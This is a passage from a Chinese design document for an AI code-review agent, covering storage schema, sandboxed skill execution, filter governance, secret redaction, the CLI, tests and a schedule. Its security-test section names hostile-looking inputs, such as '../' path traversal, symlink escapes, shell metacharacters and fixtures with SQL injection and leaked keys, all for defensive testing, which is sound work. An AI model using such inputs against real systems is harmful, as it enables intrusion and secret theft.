finding 的 `FindingBucket.NEEDS_HUMAN_REVIEW` 是不同领域概念,字段和统计必须分开。 + +### 2.8 数据库存储(R5) + +SQLAlchemy ORM + 可移植列类型;SQLite 默认(`out/review.db`),换 MySQL/PG 只改 URL。5 表: + +| 表 | 关键字段 | +|----|---------| +| cr_review_task | id、status(running/completed/completed_with_warnings/failed)、input_type/ref、diff_summary(JSON,仅元数据+脱敏摘要,见下)、config(JSON)、error_* | +| cr_sandbox_run | task_id、status(ok/failed/timeout/blocked/error)、exit_code、timed_out、filter_action、脱敏后 stdout/stderr 摘录、error_type、duration_ms | +| cr_filter_event | task_id、stage、target、action、rule、reasons(JSON) | +| cr_finding | 9 必须字段 + rule_id + bucket + dedup_key + extra(JSON);evidence 必须已脱敏 | +| cr_report | task_id(unique)、schema_version、rule_pack_version、config_digest、input_sha256、summary、severity_stats(JSON)、filter_summary(JSON)、sandbox_summary(JSON)、metrics(JSON)、report(完整 JSON,已脱敏) | + +**原始 diff 落库策略(先脱敏,后落库)**: + +- **默认禁止**在数据库中保存原始 unified diff / patch 全文。原始内容由宿主安全读取,只可短暂存在于受控内存、任务临时目录和隔离 workspace,任务结束在 `finally` 中清理;不得记录到普通日志或异常文本。 +- `diff_summary` 只存元数据:SHA-256、字节数、文件数、hunk 数、增删行统计、`review_scope` 分布、脱敏后的文件路径摘要;禁止含未脱敏代码行。 +- finding evidence、recommendation、Filter reasons、sandbox stdout/stderr 摘录、error 信息、Telemetry 属性、最终 report **一律脱敏后再写入**。 +- 若确需回放完整变更,仅允许存**脱敏副本**,且须显式配置开关开启(默认关闭);该副本仍不得含明文密钥。 + +`ReviewStore` ABC + `get_task_bundle(task_id)` 一次返回 task+runs+events+findings+report;`init-db` 幂等(create_all)。五表 MVP 不再拆表,但 JSON 字段必须带 schema version;至少为 task status、run task_id、event task_id/action、finding task_id/severity/category 和 report task_id 建索引。数据库 URL 可由 CLI `--db-url` 或配置提供,默认仍为 `sqlite:///out/review.db`。 + +### 2.8.1 失败语义(部分失败、整体继续) + +Filter 拦截或沙箱执行失败时: + +1. 被标为 `deny` / `needs_human_review` 的脚本**严禁进入沙箱**(AC7)。 +2. 其余已放行的检查继续执行(例如多次 `skill_run` / 多个检查命令中,一项失败不阻断其余项)。本期默认链路是单次 `run_checks.py`:若该次被拦或失败,则无沙箱侧 findings,但仍继续后处理 → 落库 → 出报告,**不回退宿主执行规则**。 +3. 超时、非零退出、输出超限全部记入 `cr_sandbox_run`(含 error_type 与失败摘要),并进入 warnings 桶。 +4. 任务状态: + - `completed`:全流程成功,无 Filter 拦截、无沙箱失败、无运行告警。 + - `completed_with_warnings`:仍能生成最终报告,但存在 Filter 拦截、沙箱失败/超时/截断或其他运行告警。 + - `failed`:仅用于无法继续形成有效交付的关键失败——输入解析失败、DB 初始化失败、关键写库失败、报告无法生成。 + +永不因单次检查失败让整个评审任务崩溃(AC4)。 + +### 2.9 监控审计(R9) + +`MetricsCollector` 在报告冻结时生成不可变 snapshot,落 `cr_report.metrics`(验收主路径),同时在关键阶段打 SDK telemetry span(code_review.total/.parse/.sandbox/.postprocess/.llm)。 + +snapshot 至少包含:`total_duration_ms`、`sandbox_duration_ms`、`llm_duration_ms`、`tool_call_count`、`sandbox_run_count`、`filter_block_count`、`filter_review_count`、`finding_count`、`warning_count`、`needs_human_review_count`、`suppressed_count`、`severity_distribution`、`category_distribution`、`error_type_distribution`、`runtime_type`、`python_version`、`platform`。 + +Telemetry span 属性采用白名单:只允许脱敏 task id、状态、阶段耗时、计数、枚举型 error code 和 runtime 类型;严禁写入 diff/evidence/recommendation/stdout/stderr 原文、环境变量值和本地绝对路径。无 OTel 环境时 span 自动成为零副作用。 + +### 2.10 报告(八段式,JSON + Markdown 双格式) + +`review_report.json` + `review_report.md`,固定八段: + +1. Findings 摘要(按 severity 排序) +2. 严重级别统计 +3. 人工复核项(needs_human_review 桶) +4. 运行告警(warnings 桶) +5. Filter 拦截摘要 +6. 沙箱执行摘要 +7. 监控指标 +8. 结论与可执行修复建议(编号、按严重级别排序) + +`review_report.json` 是规范源,顶层至少包含 `schema_version`、`rule_pack_version`、`config_digest`、`input_sha256`、`task_id`、`input_summary`(含 source_kind 与各文件 review_scope)、四桶结果、Filter 摘要、sandbox 摘要、metrics snapshot 和 final conclusion。Markdown 的位置展示在 `line_side=old` 时必须明确标为旧侧行号,不能让读者误认为当前文件仍存在该行。生成流程固定为: + +1. 构建报告对象并通过 `schemas/review_report.schema.json` 校验。 +2. 对完整对象执行最终敏感信息扫描;命中明文时阻止持久化并将任务标为 failed。 +3. 用同目录临时文件 + 原子替换写入 JSON。 +4. Markdown 通过 `ReportRenderer` 仅从已校验 JSON 确定性渲染,写入前再次扫描并原子替换。 +5. 数据库保存同一报告对象的脱敏内容或摘要,不重新计算另一份统计。 + +`ReportRenderer` 为扩展协议;本期实现 JSON 与 Markdown renderer,SARIF renderer 留在第 7 章。 + +### 2.11 CLI 与运行模式 + +`run_agent.py` 五个子命令: + +- `review --diff-file|--repo-path|--files|--fixture [--dry-run] [--sandbox container|cube|local] [--model-mode fake|real|off] [--trace] [--log-level DEBUG|INFO|WARNING] [--fail-on-severity high|critical] [--db-url URL] [--output-dir DIR]`:直接调用唯一 `ReviewPipeline`,用于 CI 和确定性自动化。 +- `user-query "" --diff-file|--repo-path|--files|--fixture [--dry-run] [--sandbox container|cube|local] [--model-mode fake|real|off] [--trace] [--log-level DEBUG|INFO|WARNING] [--fail-on-severity high|critical] [--db-url URL] [--output-dir DIR]`:始终经 SDK `LlmAgent + SkillToolSet` 触发受控 Skill 链;自然语言仅表达意图,四种输入必须由结构化参数显式指定。 +- `show `:输出全链路 bundle +- `list`:列出历史任务 +- `init-db`:幂等初始化 + +`--dry-run` = fake model(固定模板走与 real 完全相同的 LlmAgent+Runner 链路),**不**切换 sandbox。无 Docker 时必须同时显式传 `--sandbox local`,否则严格 container 默认会直接报错。零 Key + 无 Docker 的推荐命令:`python run_agent.py review --fixture 01_clean_simple --dry-run --sandbox local`。pytest 单测注入 fake runtime 是第三条路径,不冒充 CLI dry-run。 + +四种输入由互斥参数组强制只能选择一个。本期不提供 `--command`、`--run-tests` 或 `--llm-denoise`;任意命令和目标仓库测试不得通过隐藏参数进入当前实现。 + +`review` 直接调用唯一 `ReviewPipeline`;`user-query` 是唯一公开的 Agent 入口,SDK +`LlmAgent + SkillToolSet` 必须产生可观察的 `skill_load("code-review") → skill_run(...)` +工具调用,再由受控 `skill_run` 适配器委托同一 pipeline,不能产生第二套检测或持久化逻辑。 +宿主在创建 Agent 前验证四选一结构化输入、路径、大小、编码和 diff 格式;不得让模型从自由文本推测 +任意文件路径、命令、环境变量或未登记脚本。无效输入以退出码 2 拒绝,且不调用模型、Filter 或沙箱。 +`skill_run` 对模型只暴露一次性 review request id;固定 Skill、script_id、argv、输入/输出路径、 +环境、超时和输出限额必须由宿主结合 manifest 构造,原始 diff、宿主路径和命令字符串不得进入 +模型上下文。未先成功 `skill_load`、Filter 非 ALLOW 或 request id 无效时,`skill_run` 必须零 +沙箱副作用。成功的 CLI JSON 必须包含 `task_id`、状态、实际 sandbox、入口类型以及 +`report_files.json` / `report_files.markdown` 的完整输出位置,方便人工和 CI 直接定位产物;路径 +只输出到当前终端,绝不写入 report、数据库、Telemetry 或日志。维护者的完整 PowerShell 命令、 +Docker 前置检查、16 个 fixture、模型模式和故障排查统一见 +`examples/skills_code_review_agent/OPERATIONS.md`;真实模型的三项白名单变量由该目录 `.env` 读取, +runtime 类型、网络策略和输出目录必须显式通过 CLI 参数设置,不得藏在 `.env`。 + +`--trace` 是显式终端诊断模式:以 stderr JSON Lines 流式显示受控 query 解析、SDK +`skill_load` / `skill_run`、Filter、sandbox、Pipeline 和持久化状态;stdout 仍只输出最终 CLI JSON。 +trace 字段只能包含固定事件名、安全枚举、计数、状态和布尔值,禁止输出模型私有推理、原始 query/diff、 +代码/evidence、request id、命令、环境变量值和宿主路径;trace 不写入报告、数据库或 Telemetry。默认 `INFO` +日志也仅写 stderr,显示阶段、计数、固定状态码、耗时、实际 container ID 与终端可见的报告位置;`DEBUG` +可额外显示仓库相对文件路径、script_id 和已脱敏输出摘要。所有日志级别均禁止原始 diff、代码、evidence、 +工具完整参数、workspace/request ID、环境变量和凭据。SDK 原始 INFO 固定降为 WARNING,避免暴露源码绝对路径和 workspace 标识。 + +**CLI 退出码约定**(`review` 子命令;`show`/`list`/`init-db` 成功 0、致命错误 2): + +| 退出码 | 含义 | +|--------|------| +| 0 | 审查完成且成功生成报告,含 `completed` 与 `completed_with_warnings` | +| 1 | 审查完成且报告已生成,但 findings 桶中存在达到 `--fail-on-severity` 阈值的正式 finding | +| 2 | 致命执行错误:输入无法解析、DB 关键写入失败、报告无法生成等(对应任务状态 `failed`) | + +补充规则: + +- Filter 拦截、沙箱脚本失败、`needs_human_review` / `suppressed` / `warnings` **默认不改变退出码**,只体现在任务状态与报告中(与 2.8.1 失败语义一致)。 +- `--fail-on-severity` 默认关闭(等价于永不因 finding 返回 1);CI 可显式设为 `high` 或 `critical`(判定为 severity ≥ 该阈值的 findings 桶条目)。只看 findings 桶,不看人工复核与运行告警。 +- `evaluate.py` **独立**用非零退出码表示评测门禁失败(4.4 硬阈值任一不达标),**不复用** review CLI 的 finding 退出语义(evaluate 失败 ≠ 「有 high finding」)。 + +## 3. 技术栈 + +### 3.1 运行环境 + +- Python `>=3.10`(与项目 `pyproject.toml` 一致),开发与 CI 推荐 3.12;示例代码和 Skill 脚本不得使用 3.12 专属语法。开发环境使用仓库根 `.venv`。 +- 沙箱生产默认 Docker(container runtime);开发主机已具备 Docker 与真实模型 Key,container 路径与 real 模式都必须实测 + +### 3.2 依赖原则 + +- `skills/code-review/scripts/` 下只允许 Python 标准库(保证沙箱内零安装可跑) +- `code_review/` 应用层可用 SDK 及其既有依赖(SQLAlchemy、pydantic);不新增其他第三方依赖 +- 模型接入:`trpc_agent_sdk.models.OpenAIModel`,读 `TRPC_AGENT_API_KEY/BASE_URL/MODEL_NAME` + +### 3.3 SDK 对接要点(已核实,实施时按此写) + +| 对接点 | 位置 | 处理 | +|--------|------|------| +| skill_run 默认超时 300s | `trpc_agent_sdk/skills/tools/_skill_run.py` L437 | 经 run_tool_kwargs 覆盖为 30s | +| 工具结果 stdout/stderr 各截断 16KB | `_skill_run.py` 输出处理 | 与本项目 1MiB/2MiB 文件预算是两层限制,实现与文档明确区分 | +| workspace 输出限额 | `trpc_agent_sdk/code_executors/_types.py` L251-257 `WorkspaceOutputSpec.max_files/max_file_bytes/max_total_bytes` | 显式设置为本项目预算 | +| container 创建参数默认断网 | `trpc_agent_sdk/code_executors/container/_container_cli.py` L160 `network_mode="none"`;其 `describe()` 仍返回 `network_allowed=True` | `network_allowed` 不作为有效状态证明;验证本次实际配置未覆盖 `network_mode=none` 后才放行 | +| cube 声明 network_allowed=True | `trpc_agent_sdk/code_executors/cube/_runtime.py` L456;当前配置类型未暴露可验证出口策略 | 视为“可能具备网络能力”而非“网络已开启”;本期无可验证无出口/受控网关证明时默认拒绝 | +| local 声明 network_allowed=True | `trpc_agent_sdk/code_executors/local/_local_ws_runtime.py` L702 | 仅显式 dev 降级放行,并将隔离与网络策略不可强制证明写入 warnings | +| Skill 仓库 | `trpc_agent_sdk.skills.create_default_skill_repository` + `SkillToolSet` | 两个入口都经 SkillRepository 解析/stage skill | +| Filter | `trpc_agent_sdk` 的 `BaseFilter` / `run_filters` | governance.py 基于真实 Filter 链实现 | + +### 3.4 能力复用边界(SDK 复用 vs 自研,实现时必须遵守) + +> 原则:**框架能力全部复用 SDK,只有「代码评审」业务领域的逻辑自研**。禁止绕开 SDK 机制自己造轮子(这是两个已有 PR #212/#201 被质疑最多的点);也禁止把 SDK 已有能力重写一遍。 + +| 能力 | SDK 提供的部分(直接复用) | 我们自己写的部分 | +|------|--------------------------|----------------| +| Skills | `create_default_skill_repository`、`SkillToolSet`、`skill_load`/`skill_run` 工具、skill stage 进 workspace 的整套机制(`trpc_agent_sdk/skills/`) | 只写 skill 的**内容**:SKILL.md、6 篇规则文档、`scripts/` 下的检查脚本 | +| 沙箱执行 | container / cube / local 三种 workspace runtime、超时参数、输出截断、`WorkspaceOutputSpec` 限额及能力描述(`trpc_agent_sdk/code_executors/`) | `sandbox.py` 作为薄工厂选择后端、填充预算和环境变量,并向治理层提供本次最终生效网络配置/证明;不得用 `network_allowed` 代替有效状态校验 | +| Filter 治理 | `BaseFilter` / `run_filters` 的过滤器链机制 | manifest allowlist、参数模板、脚本摘要、禁止路径、环境/网络、预算和 runtime 能力的**判定逻辑** | +| 监控审计 | telemetry 模块的 span/trace 机制(`trpc_agent_sdk/telemetry/`) | `MetricsCollector` 轻量汇总器(生成 2.9 定义的不可变指标快照并落库) | +| Agent 入口 | `LlmAgent`、`Runner`、`OpenAIModel`、Session 服务 | 只写 prompts 和组装代码 | +| 数据库 | 复用 SDK 已有的 SQLAlchemy 依赖(SDK `storage/_sql.py` 即基于它)与可移植列类型写法 | 5 张 `cr_*` 表自己定义——SDK 的 storage 表是给 Session/Memory 用的,没有现成「评审任务」表,属于题目要求的「设计并实现最小 schema」 | + +真正**从零自研**的只有三块,均为题目明确要求的业务交付物: + +1. 规则引擎(`scripts/lib/` 的正则 + AST 检测) +2. 脱敏模块(检/脱同源正则表 + 熵检测) +3. 评审领域数据处理(去重分桶、finding 结构、报告八段式) + +对应的排期硬约束:C1 治理必须走真实 `BaseFilter` 链、C2 沙箱必须走 SDK workspace runtime、D2 Agent 入口必须经 SkillRepository 加载 skill——这三个任务的验收标准均以此为准,不得用纯 Python 直调绕开。 + +### 3.5 设计模式 + +- 配置驱动:所有预算、阈值、路径集中在 `ReviewConfig`(dataclass/pydantic),不硬编码 +- 可插拔:`ReviewStore` ABC(换 SQL 后端)、`create_sandbox_runtime` 工厂(换沙箱后端)、`ReportRenderer`(换报告格式)、`model-mode` 三态(换模型行为) +- 失败即数据:任何执行异常转记录行 + warnings,不抛出到 CLI 顶层 +- 可复现:ChangeSet、ExecutionManifest、ReviewReport schema 和不可变 MetricsSnapshot 都有显式版本/摘要,稳定排序后再持久化 + +## 4. 测试约定 + +### 4.1 目录与框架 + +- pytest;所有测试代码、测试辅助和测试数据统一放在 `examples/skills_code_review_agent/tests/` +- `tests/unit/`:单个确定性模块接口测试;不依赖 Docker、API Key 或网络,外部依赖使用 fake 或临时本地替代 +- `tests/integration/`:多个模块或本地适配器的协作测试,包括 SQLite、Filter 链、Skill 脚本、沙箱和 pipeline +- `tests/e2e/`:从 CLI / evaluate 输入到 JSON、Markdown、数据库 bundle、指标和退出码的完整闭环 +- `tests/fixtures/`:只存测试输入与预期数据,不存可执行测试;公开样本放 `diffs/`,评测语料放 `corpus/` +- `tests/support/`:只存被两个以上测试层复用的 fake、builder 和公共断言,不复制产品逻辑 +- 命名:`test_.py`;8 条公开样本的系统测试用 `tests/e2e/test_fixtures_e2e.py` +- container 实测用 `@pytest.mark.container` 标记(无 Docker 环境 skip) +- real 模型实测用 `@pytest.mark.real_llm` 标记(无 Key 环境 skip) +- 必选 fixture 缺失必须失败,不得 skip;所有写入使用 `tmp_path`、临时 SQLite 或任务 workspace,不污染业务目录 + +### 4.2 Fake 注入约定 + +- 沙箱:测试经构造函数注入 fake workspace runtime(预置 stdout/exit_code/超时行为),不 monkeypatch 内部函数 +- 模型:fake model 走与 real 完全相同的调用路径,返回固定模板 +- 数据库:单测用 `sqlite:///:memory:` 或 tmp_path 下临时文件 + +### 4.3 公开 fixture(8 条 simple + 8 条 complex,AC1 最低硬性交付仍为 simple 8 条) + +数据位于 `tests/fixtures/diffs/`,由 `tests/e2e/test_fixtures_e2e.py` 通过公开入口执行: + +| fixture | 内容 | 预期 | +|---------|------|------| +| 01_clean_simple | 无问题 diff | 0 findings,报告正常生成 | +| 02_security_simple | SQL 注入 f-string + subprocess shell=True | ≥2 条 security findings(high/critical) | +| 03_async_leak_simple | async 内 time.sleep + ClientSession 未关 | async-errors + resource-leak 各 ≥1 | +| 04_db_lifecycle_simple | 连接未 close、事务未 commit | ≥1 条 db-lifecycle | +| 05_missing_tests_simple | 改源码不改测试 | needs_human_review 含 missing-tests 项,findings 桶为空该类 | +| 06_duplicate_finding_simple | 同文件同行同类多规则命中 | 去重后 1 条,extra.also_matched 非空 | +| 07_sandbox_failure_simple | 注入沙箱失败(--inject-sandbox-failure 或 fake runtime) | 0 findings + warnings 记录 + status=completed_with_warnings,报告照常渲染 | +| 08_secret_redaction_simple | 字符串/配置中含 AWS Key、GitHub PAT、password,并含注释占位符对照 | 真实格式产生 secrets finding;占位符降噪;报告、DB、日志和沙箱摘要字节级无明文 | + +每条 `_simple` fixture 另配一条同名前缀、`_complex` 后缀的真实工程样例。complex diff 每条包含 +60–150 行新增代码、至少两个文件,并混合正常实现、真实风险和关键词干扰项;测试必须继续验证精确类别、 +分桶、去重、JSON/Markdown/SQLite bundle 以及明文泄漏扫描。8 条 simple fixture 用于快速定位基础链路回归; +`evaluate.py` 的 AC1/AC2 公开代理口径仍只统计 simple 8 条,避免改变既有硬门禁分母。 + +### 4.4 评测语料与 CI 硬门禁(AC2 代理) + +`evaluate.py` 是本地/CI 的离线评测硬门禁,**不拒绝**;但必须澄清口径,避免把公开语料门禁误写成「官方隐藏样本 AC2」。 + +**语料规模(定死,禁止「若干」这种模糊表述)**: + +- 正样本 ≥20(6 类覆盖,不含 2.3 声明盲区场景) +- 干净负样本 ≥10(高置信 FP 期望为 0) +- 密钥语料 ≥48 条 + 良性列表(0 FP) +- 另含边界样本:纯 diff changed-lines vs `--files` full-file 两种审查口径、fixture 载荷类型保持、残缺 hunk、binary/rename、新增/删除 `0,0` 退化值、context-only 行映射和删除侧 secret 定位 +- 匹配键:`(file, line, category)`,与去重三元组一致;只匹配 findings 桶(needs_human_review / suppressed / warnings 不计入 P/R) +- 另建 blind-spot stress corpus,覆盖拆分密钥、动态拼接、跨函数资源传递、非标准测试目录等已声明盲区;只输出观测结果,不混入硬门禁分母,也不得从评测产物中静默消失 + +**硬门禁阈值(任一不达标 → 非零退出码)**: + +| 指标 | 阈值 | 对应验收 | +|------|------|---------| +| 8 条公开 fixture 全部成功产出 JSON + MD + DB 记录 | 8/8 | AC1 | +| 高危问题 Recall(critical/high,代理语料) | ≥ 0.80 | AC2 代理 | +| findings 桶 finding-level 误报占比 `FP/(TP+FP)` | ≤ 0.15 | AC2 代理 | +| 脱敏检出率 | ≥ 0.95 | AC5 | +| 8 条 public fixture 的独立 fake Agent 审查墙钟时间 | 每条 ≤ 120 s | AC6 | +| Precision / Recall / F1 | 输出到摘要;F1 **不设单独硬阈值**(由上两项 Recall/FP 约束即可,避免三重冲突) | 观测指标 | + +**明确不是硬门禁的**: + +- 官方「隐藏样本」AC2 本身——CI 拿不到隐藏集;门禁只能证明**公开代理语料**达标,README 验收表须写明「AC2 以代理语料佐证」。 +- LLM 降噪/补审相关指标——本期默认 off,不进门禁。 +- container / real LLM 实测——用 pytest mark,无环境时 skip,不阻塞普通 CI。 + +**输出与回归历史**:评测强制 `model_mode=fake`,不接受 real 或本期不存在的 LLM 降噪参数。摘要写 `eval_summary.json`(必选),记录 schema/rule-pack/config digest、Python、平台、runtime 和墙钟时间;可选 `--write-db` 写入独立 SQLite 形成回归历史(默认关闭,且不得污染业务 review.db)。 + +**evaluate.py 的 sandbox 口径(与 CLI 生产默认解耦)**: + +| 路径 | sandbox | model | 用途 | +|------|---------|-------|------| +| `evaluate.py`(普通 CI / 本地门禁,默认) | **显式 `local`** | fake | 8 条 fixture 各自经 Agent+Skill 独立运行且每条 ≤120s;聚合耗时仅观测;摘要记录 runtime/OS/是否有 Docker | +| `evaluate.py --sandbox container` | container | fake | 额外结果;Docker 可用时跑,**不与 local 基准耗时直接比较** | +| `run_agent.py review`(生产默认) | **严格 container** | fake\|real\|off | 无 Docker 直接报错;不受 evaluate 默认影响 | +| pytest 单元 / pipeline 单测 | 注入 fake workspace | fake/off | 测编排与落库,不冒充「脚本真执行」 | +| `@pytest.mark.container` / cube 集成 | container / cube | fake | Docker 可用时跑,不可用 skip,**不阻塞普通 CI** | + +硬约束: + +1. **evaluate 默认 local 必须是显式选择**(代码与文档都写成 `--sandbox local`),不是 `--dry-run` 偷偷换沙箱——CLI 的 dry-run 仍只代表 fake model,沙箱语义不变。 +2. **evaluate 默认路径禁止用 fake workspace**:8 条 fixture 必须各自以独立 `user-query` 任务真跑 Agent 的 `skill_load → skill_run` 与仓库自带可信 Skill 脚本,并各自验证 JSON、Markdown、SQLite 和单条时延;公开代理语料可直跑可信 Skill 脚本计算规则指标。仅允许执行本仓库 `skills/code-review/scripts/` 与 fixtures,禁止用户自定义命令混入门禁路径。 +3. local 模式下 Filter 仍运行,并把「隔离与网络策略不可强制证明」降级告警写入 warnings;cube 默认拒绝的原因是当前 SDK 无法提供具体实例无出口/受控网关的可验证证明,而不是 `network_allowed=True` 字段本身。container 集成测试必须验证实际生效的 `network_mode=none`。 + +**与 pytest 的分工**:pytest 负责 unit、integration 与 fixture 驱动的 e2e;`evaluate.py` 负责跨 fixture 的聚合指标门禁。CI 建议顺序:`pytest examples/skills_code_review_agent/tests/ -q`(跳过 container/real_llm)→ `python examples/skills_code_review_agent/evaluate.py --sandbox local`(model=fake + sandbox=local)。 + +### 4.5 关键安全测试 + +- 超时击杀:注入 sleep 超过 per_run_timeout 的脚本,断言 timed_out=True 且任务不崩 +- 输出截断:产出超限输出,断言截断标志 + warnings +- 金丝雀环境变量:宿主设 `TRPC_AGENT_API_KEY=canary-xyz`,断言沙箱子进程环境与所有落库内容不含该值 +- 治理哨兵:未注册脚本、摘要不匹配、未知/重复/超长参数、shell 元字符和预算超限请求均被 deny,副作用哨兵未触发、沙箱运行数为 0 +- 路径边界:覆盖 `../`、绝对宿主路径、指向 repo 外的 symlink/junction、超大输入,断言 staging 前拒绝且未读取目标内容 +- 检测后脱敏:真实格式密钥在原始 fixture 中能生成 secrets finding,但 evidence、recommendation、Filter reasons、异常、stdout/stderr、Telemetry、JSON/MD/DB 均无明文 +- 字符串/注释作用域:结构类 API 仅出现在注释/字符串时不报;字符串中的真实密钥必须检出;明显占位符不进入高置信 findings +- changed-line AST:完整文件中的历史遗留问题不在 changed lines 时不报;新增文件可重建全文时启用 AST;残缺 hunk 自动降级且不崩 +- full-file scope:同一文件通过 `--files` 输入时允许报告任意行,ChangeSet/JSON/MD 明确显示 `status=snapshot` 与 `review_scope=full_file`;不得把它的结果冒充增量审查 +- hunk 退化状态:新增/snapshot 断言 old=`0,0`,删除断言 new=`0,0`,字段非空;映射只含 context 行;删除侧 secret 使用真实 old line 和 `line_side=old` +- 报告一致性:JSON 通过 schema,MD 与 DB 统计均来自同一报告对象;模拟中断后不存在半写文件 +- 明文扫描:e2e 后对 review_report.json/.md、sqlite 文件和捕获日志做字节级扫描,断言无明文密钥 + +### 4.6 测试哲学 + +只测外部行为(CLI 出入参、报告内容、DB 行、返回结构),不测内部实现细节;每条 AC 至少有一个专门测试;断言用具体值,不用「不抛异常」当通过标准。 + +## 5. 架构设计 + +### 5.1 分层 + +``` +入口层 run_agent.py (CLI) agent/ (LlmAgent + SkillToolSet) + │ │ + │ skill_load → 受控 skill_run + └──────────┬───────────────────┘ + ▼ +应用层 code_review/pipeline.py ReviewPipeline.run() ← 唯一检测链路 + │ + ├─ inputs.py / config.py(ChangeSet + 输入边界) + ├─ governance.py(manifest 驱动的 Filter 治理门) + ├─ sandbox.py(container|cube|local 工厂) + ├─ dedup.py / redaction.py / llm_enhancer.py + ├─ metrics.py / report.py(snapshot + ReportRenderer) + └─ store/(SQLAlchemy 5 表 + ReviewStore ABC) + │ +技能层 skills/code-review/scripts/lib/ ← 单一真相源(纯标准库) + 沙箱内直接执行;宿主 local 模式 importlib 加载同一份 +``` + +### 5.2 目录树(交付清单,任务完成的文件级依据) + +``` +examples/skills_code_review_agent/ +├── README.md +├── run_agent.py +├── agent/ +│ ├── __init__.py +│ ├── agent.py +│ └── prompts.py +├── code_review/ +│ ├── __init__.py +│ ├── config.py +│ ├── pipeline.py +│ ├── inputs.py +│ ├── governance.py +│ ├── sandbox.py +│ ├── redaction.py +│ ├── dedup.py +│ ├── llm_enhancer.py +│ ├── report.py +│ ├── metrics.py +│ └── store/ +│ ├── __init__.py +│ ├── models.py +│ ├── review_store.py +│ └── init_db.py +├── skills/code-review/ +│ ├── SKILL.md +│ ├── references/ +│ │ └── security-boundaries.md +│ ├── rules/ +│ │ ├── security.md +│ │ ├── async-errors.md +│ │ ├── resource-leak.md +│ │ ├── missing-tests.md +│ │ ├── secrets.md +│ │ └── db-lifecycle.md +│ └── scripts/ +│ ├── manifest.json +│ ├── parse_diff.py +│ ├── run_checks.py +│ └── lib/ +│ ├── __init__.py +│ ├── diff_parser.py +│ ├── rule_engine.py +│ ├── rules_security.py +│ ├── rules_async.py +│ ├── rules_resource.py +│ ├── rules_db.py +│ ├── rules_tests.py +│ └── secret_rules.py +├── evaluate.py +├── schemas/ +│ └── review_report.schema.json +├── sample_output/ +│ ├── review_report.json +│ └── review_report.md +└── tests/ + ├── README.md + ├── unit/ + │ ├── test_config.py + │ ├── test_diff_parser.py + │ ├── test_redaction.py + │ ├── test_rules.py + │ ├── test_rules_ast.py + │ ├── test_dedup.py + │ └── test_metrics.py + ├── integration/ + │ ├── test_inputs.py + │ ├── test_store.py + │ ├── test_report.py + │ ├── test_skill_scripts.py + │ ├── test_governance.py + │ ├── test_sandbox_safety.py + │ ├── test_pipeline.py + │ ├── test_llm_enhancer.py + │ └── test_agent_entry.py + ├── e2e/ + │ ├── test_cli.py + │ ├── test_fixtures_e2e.py + │ └── test_evaluate.py + ├── fixtures/ + │ ├── diffs/ # 8 条公开 simple fixture + 8 条 complex 配对样例 + │ └── corpus/ # 标注评测语料 + └── support/ # 共享 fake、builder 和断言 +``` + +### 5.3 Pipeline 八阶段 + +1. 建任务:`cr_review_task(status=running)`,记录输入类型、config snapshot、schema/rule-pack version 和 config digest。 +2. 安全读取与解析:校验输入根、路径和体积,在受控宿主内存/任务目录读取原始内容,按输入形态提取带 `review_scope` 的 ChangeSet;`--files` 标为 snapshot/full_file,fixture 保留声明的载荷语义,新增/删除 hunk 使用固定 `0,0` 契约。此阶段不破坏性脱敏,也不记录代码原文。 +3. Filter 治理门:解析 execution manifest,校验 script/摘要/参数/路径/环境/网络/runtime,并在执行前预检预算;DENY/NEEDS_HUMAN_REVIEW 短路并记录脱敏原因。 +4. 沙箱执行:stage skill 与最小输入集 → 再校验 realpath/hash → 预算受控运行注册脚本。secrets 规则对原始内容检测,沙箱在输出 evidence/stdout/stderr 前首次脱敏;失败转 warnings,不回退宿主。 +5. 后处理:宿主对所有输出二次脱敏 → changed-line 过滤 → 三元组稳定去重 → 无重叠阈值分桶。 +6. LLM 增强(fake|real|off):仅接收脱敏数据,只改写 recommendation/summary/复核提示,不得改变 canonical finding 集合及其 severity/confidence/bucket。 +7. 冻结与持久化:生成不可变 metrics snapshot 和 canonical ReviewReport,最终泄漏扫描通过后写 findings/filter_events/sandbox_runs/report;任何明文命中阻止持久化。 +8. 报告与清理:schema 校验 → JSON 原子写入 → 从 JSON 确定性渲染 MD 并原子写入 → telemetry 白名单打点 → `finally` 清理 workspace。 + +### 5.4 四信任域与三层脱敏 + +| 信任域 | 可见原始 diff | 允许输出 | +|--------|--------------|---------| +| 受控宿主输入层 | 是,仅任务内存/临时目录 | ChangeSet 元数据和送入隔离 workspace 的最小输入集;禁止日志 | +| 隔离沙箱 | 是,仅本次任务 | 已脱敏 findings、stdout/stderr 摘要 | +| LLM | 否 | 仅脱敏后的 finding 和摘要素材 | +| 持久化/报告/Telemetry | 否 | 已脱敏结构化数据、计数、枚举和摘要 | + +三层脱敏: + +1. 沙箱内:secrets 规则先对原始内容完成检测,产出 evidence/stdout/stderr 时首次脱敏(`lib/secret_rules.py`)。 +2. 宿主:对 finding 的 evidence/recommendation、Filter reasons、异常和沙箱摘要进行二次脱敏。 +3. 出口:JSON、Markdown、数据库和允许的 Telemetry 属性在写入前做完整对象扫描;发现明文则阻止写入并标记 failed。 + +检测规则与脱敏共享同一正则表(secret_rules.py 单一真相源),杜绝「检出未脱/脱了未检」。 + +## 6. 项目排期 + +> **排期原则** +> - 只按本文档设计落地:以 5.2 目录树为交付清单,每个任务都在文件系统产生可见变化 +> - 每个任务 ≈1h 一个可验收增量,给出验收标准 + 测试方法,尽量 TDD +> - 先打通离线闭环(解析 → 规则 → 落库 → 报告 → dry-run),再上安全边界(Filter + 沙箱),最后 Agent 入口与评测 +> - 外部依赖(Docker、真实模型)在单元测试一律 fake 注入;container/real 实测放专门任务 + +### 阶段总览 + +1. **阶段 A:工程骨架与离线内核** — 目录、配置、diff 解析、规则引擎、脱敏(纯标准库可测) +2. **阶段 B:落库闭环** — SQLAlchemy 5 表、去重分桶、报告、CLI、dry-run 全链路 +3. **阶段 C:安全边界** — Filter 治理链、沙箱三后端、安全测试、container 实测 +4. **阶段 D:Agent 入口与评测** — LlmAgent+SkillToolSet、LLM 增强、8 fixtures、evaluate.py +5. **阶段 E:收尾** — 指标核对、README、设计说明、sample_output、全绿 + +### 📊 进度跟踪表 (Progress Tracking) + +> **状态说明**:`[ ]` 未开始 | `[~]` 进行中 | `[x]` 已完成 + +#### 阶段 A:工程骨架与离线内核 + +| 任务编号 | 任务名称 | 状态 | 完成日期 | 验收标准 | 测试方法 | +|---------|---------|------|---------|---------|---------| +| A1 | 目录骨架 + ReviewConfig + schema + 分层 pytest 基座 | [x] | 2026-07-24 | 5.2 目录树全部空模块就位;tests/unit、integration、e2e、fixtures、support 分层存在且 fixture 不在项目顶层;ReviewConfig 含 2.1 